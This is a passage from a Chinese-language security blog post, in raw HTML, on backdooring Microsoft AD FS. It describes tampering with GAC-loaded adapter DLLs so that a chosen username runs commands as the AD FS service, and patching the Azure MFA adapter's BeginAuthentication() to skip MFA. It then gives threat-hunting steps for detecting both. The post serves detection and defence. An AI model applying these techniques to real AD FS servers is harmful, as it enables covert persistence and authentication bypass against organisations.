leaf="">那么适配器究竟是什么？适配器是在服务启动时由 </span><em><span leaf="">Microsoft.IdentityServer.Servicehost.exe</span></em><span leaf="">进程加载的 DLL 文件，负责 AD FS 提供的大部分功能。这些 DLL 从全局程序集缓存 (GAC) 中加载。GAC 可视为操作系统中跨多个应用程序共享的 .NET 程序集存储库，以统一方式实现代码共享。GAC 可通过本地管理员权限进行修改，无需特殊的高域权限。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Screenshot showing AD FS adapter DLLs loaded from Global Assembly Cache (GAC) during service initialization" class="rich_pages wxw-img" data-ratio="0.25766871165644173" data-type="jpeg" data-w="815" style="max-width: 100%;" data-imgfileid="100012150" src="https://wechat2rss.xlab.app/img-proxy/?k=257e2976&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgcVKFIJpcfhNhWvK0aLVW4kRkAlsXxLrvNqdza0HiaaZ3Oln1u8pGWMfVmYOlMByYrEGCYyicYcuIv8DaKIPRShaherwc2rQ7Ko%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><em><span leaf="">图 8：从 GAC 加载的 AD FS 适配器 DLL</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">您可能会惊讶地发现所有 AD FS 源文件均使用 .NET 编写（也许不会，毕竟我刚提到这些 DLL 位于 GAC 目录中……），这对攻击者（以及我们自己）来说都大大降低了理解服务功能和操纵服务的难度。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在，让我们深入了解几种围绕适配器 DLL 操纵的攻击技术。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">（持久化）利用 Microsoft.IdentityServer.Web.dll 执行代码</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">考虑到高质量的持久化时，主要目标是拥有一种稳定的有效载荷执行方式和简便的触发手段。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">Microsoft.IdentityServer.Web.dll</span></em><span leaf="">负责审查和处理来自 AD FS 代理的输入。该技术最初由 Mandiant 提出，允许攻击者以 AD FS 服务的名义远程执行代码，原因在于 AD FS 代理是公开暴露的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">来看 </span><em><span leaf="">Microsoft.IdentityServer.Web.UI</span></em><span leaf="">命名空间下的 </span><em><span leaf="">LoginPage.VerifyInput()</span></em><span leaf="">方法，该方法从 AD FS 认证页面接收三个输入变量：声明为 </span><em><span leaf="">text</span></em><span leaf="">类型的 </span><em><span leaf="">UserName_、声明为 </span></em><span leaf="">pinnedString_ 类型的 </span><em><span leaf="">Password_，以及基本等同于&#34;保持登录状态&#34;选项、声明为 </span></em><span leaf="">value_ 类型的 _KMSI_。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Screenshot of C# code verifying user input in AD FS, including methods for trimming and checking for empty fields with error handling for Forms Authentication" class="rich_pages wxw-img" data-ratio="0.4601851851851852" data-type="png" data-w="1080" style="max-width: 100%;" data-imgfileid="100012151" src="https://wechat2rss.xlab.app/img-proxy/?k=5bba066b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaLHAapKmovuE4T4IiaHZ6ANS3Rl3qnJ4nxwKv8rouU9kpXiamXticUmCExwmjA1R1KicMtVf4m3WLurmtAzgyYcdpTYlu1XEziar2w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 9：LoginPage.VerifyInput 方法</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们可以利用条件篡改输入，以触发进程执行或任何其他期望的行为。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">例如，当 AD FS 代理中收到用户名输入字符串 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">executeme@axoncorporations.com</span></code><span leaf="">时，触发 cmd.exe 命令执行。这种持久化方法之所以强大，在于它允许我们从可靠来源——AD FS 服务进程本身——执行有效载荷，且由于 AD FS 代理公开可访问，可远程触发。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Code snippet showing conditional execution of a whoami command using System.Diagnostics.Process in C#, triggered when email matches" class="rich_pages wxw-img" data-ratio="0.1925545571245186" data-type="jpeg" data-w="779" style="max-width: 100%;" data-imgfileid="100012147" src="https://wechat2rss.xlab.app/img-proxy/?k=39c4b4d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiavRicBO8HSuYw34cwQfQ2HAY0emYb8trZM2xNA5eO6mvMFYXTAE62rOHomkY1gjMPOpCOibfXmrd7Il0QC9icCUJAzESrxWRyvbY%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><em><span leaf="">图 10：在 Microsoft.IdentityServer.Web.UI 命名空间内篡改 LoginPage.VerifyInput 方法</span></em></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">篡改 Azure AD 适配器以绕过 MFA</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在上一个攻击中，我们讨论了如何篡改 AD FS 注册的模块。然而，AD FS 原生 DLL 并不是服务用于建立认证流程和功能的唯一适配器模块。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">AD FS 支持外部模块开发，主要用于允许 Okta 和 Azure AD 等其他 IdP 和认证服务协同工作。这些外部适配器大多提供额外的认证层，例如 MFA。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Azure 多因素认证适配器通过将 Azure MFA 作为辅助认证方式，为 AD FS 增添了额外的安全层。当用户尝试登录受 AD FS 保护的应用时，Azure MFA 适配器会拦截认证请求，并向用户的移动设备发送推送通知、电话或短信。用户必须提供在设备上收到的验证码才能完成认证流程。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">正如您可能已经猜到的，这个外部适配器同样从 GAC 加载，也可以被篡改。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="File explorer view showing Microsoft.IdentityServer.Adapter.AzureMfa DLL version 4.0 loaded from Global Assembly Cache (GAC) under GAC\_MSIL directory" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012154" data-ratio="0.25" style="max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=977994f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjr5sLE7kuFOticnpibsr32aAt9aX2DFpeSnkdibPZDtccS4b5ic3FgicvHmxFeZ9icK1Qw2RF3Ua0w4wWBIMZBuhp1pZE9OzZtyurFM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 11：从 GAC 加载的 Microsoft.IdentityServer.Adapter.AzureMfa DLL</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们可以篡改适配器的扩展功能，以获取持久化机制并绕过 MFA 实现。在本例中，我们篡改了 </span><em><span leaf="">BeginAuthentication()</span></em><span leaf="">方法——这是 AD FS 在需要 MFA 时调用的默认方法。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Manipulating BeginAuthentication() method to skip MFA validation" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012155" data-ratio="0.41574074074074074" style="max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c1d1d038&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgdCfLGI41cQkNKunZSZjibAQl8Z0vghqN08IwTrIbhNorRWclUz655oWJW527hsiaFBlmqeeQ8UXvGLtB9ZTY66ExSHO19CbB1s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 12：篡改 BeginAuthentication() 方法以跳过 MFA 验证</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本例使用了 Azure AD 适配器，但理论上，针对 AD FS 配置的任何外部适配器均可如法炮制。</span></p><h5 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 14px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">开始威胁狩猎</span></strong></h5><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">理解了其工作原理之后，检测利用 AD FS 适配器进行后门植入的活动就相对容易了。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">篡改 IdentityServer 配置文件</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这篇聚焦 AD FS 适配器利用的博文中，我们了解到 AD FS 服务进程会加载可被篡改用于恶意活动的共享 .NET 程序集。然而，要替换相关模块，攻击者需要使用对应的公钥令牌更新 AD FS 配置文件。该配置由 AD FS 服务进程从位于 </span><em><span leaf="">C:WindowsADFSMicrosoft.IdentityServer.Servicehost.exe.config</span></em><span leaf="">的配置文件中加载。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对该文件的篡改和重写是 AD FS 服务器上可疑活动的有力指标，可能表明攻击者正试图通过加载恶意 .NET DLL 来混淆 AD FS 服务，替换原始代码。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="xml" class="rich_pages wxw-img" data-ratio="0.3006134969325153" data-type="jpeg" data-w="815" style="max-width: 100%;" data-imgfileid="100012153" src="https://wechat2rss.xlab.app/img-proxy/?k=51100247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShFicahmvSHxRWmszwgqVcJy0m8KYyKlet0llbMHkRSSnVYnCj7T4XECI1aPGqTGKGicSDUN7VxOJ7XV51625enc2AAOWcSFib67o%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><em><span leaf="">图 13：Microsoft.IdentityServer.Servicehost.exe.config AD FS 公钥令牌</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐调查流程：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在修改发生之前，AD FS 服务是否停止或重启？如有，是谁以何种方式执行的？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检查被修改的 IdentityServer 配置文件，审查所做的改动。公钥令牌是否被更改？若是，指向哪些 DLL 模块？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">检查公钥令牌被更改的 DLL。</span></p></li></ul><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 AD FS GAC 下创建未知 DLL</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">既然了解了 IdentityServer 适配器基本上可以被篡改用于恶意行为，我们应将监控范围扩展至对 DLL 的变更。由于修改全局程序集缓存必须在磁盘层面进行，我们可以利用这一点开展高效的威胁狩猎。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，许多 .NET 软件都使用 GAC 共享程序集。为了定向狩猎与 AD FS 相关的 DLL（无论是内部模块还是外部适配器），需要寻找能够标识它们的唯一前缀。所有 AD FS 模块均以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft.IdentityServer.</span></code><span leaf="">为前缀。因此，狩猎思路是在 </span><em><span leaf="">WindowsMicrosoft.NETassemblyGAC</span></em><span leaf="">路径下查找带有该前缀的新建 DLL。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">狩猎查询可在此处获取。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="File explorer view listing multiple Microsoft.IdentityServer.Adapter.AzureMfa.Resources.dll and Microsoft.IdentityServer.Web.Resources.dll files loaded from Global Assembly Cache (GAC) directory" class="rich_pages wxw-img" data-ratio="0.9104803493449781" data-type="jpeg" data-w="458" style="max-width: 100%;" data-imgfileid="100012152" src="https://wechat2rss.xlab.app/img-proxy/?k=55450568&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSia3p7PO0WQC7VV04HUtTgntWopIIGqr3CO806cu7N6ZrlVHmJNJLDpvNnrAnyTFEVGjeWOhs70cOVj1S5NokQ9ckAeftwKGjmk%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><em><span leaf="">图 14：从 GAC 加载的 AD FS Microsoft.IdentityServer DLL</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Log entry showing Microsoft.IdentityServer.Web.dll files in GAC\_MSIL directory with one file written to a new public token directory, indicating a potential forged DLL" class="rich_pages wxw-img" data-ratio="0.06296296296296296" data-type="png" data-w="1080" style="max-width: 100%;" data-imgfileid="100012156" src="https://wechat2rss.xlab.app/img-proxy/?k=91809adf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShaFZiaWB6vzBDyr7siaJmqKVGF8KJ0TictlCKrveEibhfrnnlnCtIfxqtxqxLAC9dF88icvQxXHGL0EkqU6zQjCTVbVDCmjHF9XBr0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 15：伪造的 AD FS Microsoft.IdentityServer.Web DLL 已被写入 GAC 中的新公钥令牌目录</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐调查流程：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在修改发生之前，AD FS 服务是否停止或重启？如有，是谁以何种方式执行的？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检查作为活动一部分写入的 DLL：</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">该 DLL 是否由 Microsoft 签名？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">DLL 最后一次修改是什么时候？与其他 DLL 的时间是否不同？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">如果 DLL 确实未由 Microsoft 签名，考虑对 .NET 程序集进行反编译，查找 DLL 中所做的差异，以了解植入了何种持久化机制。</span></p></li></ul><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Microsoft.IdentityServer.ServiceHost 异常子进程执行</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: 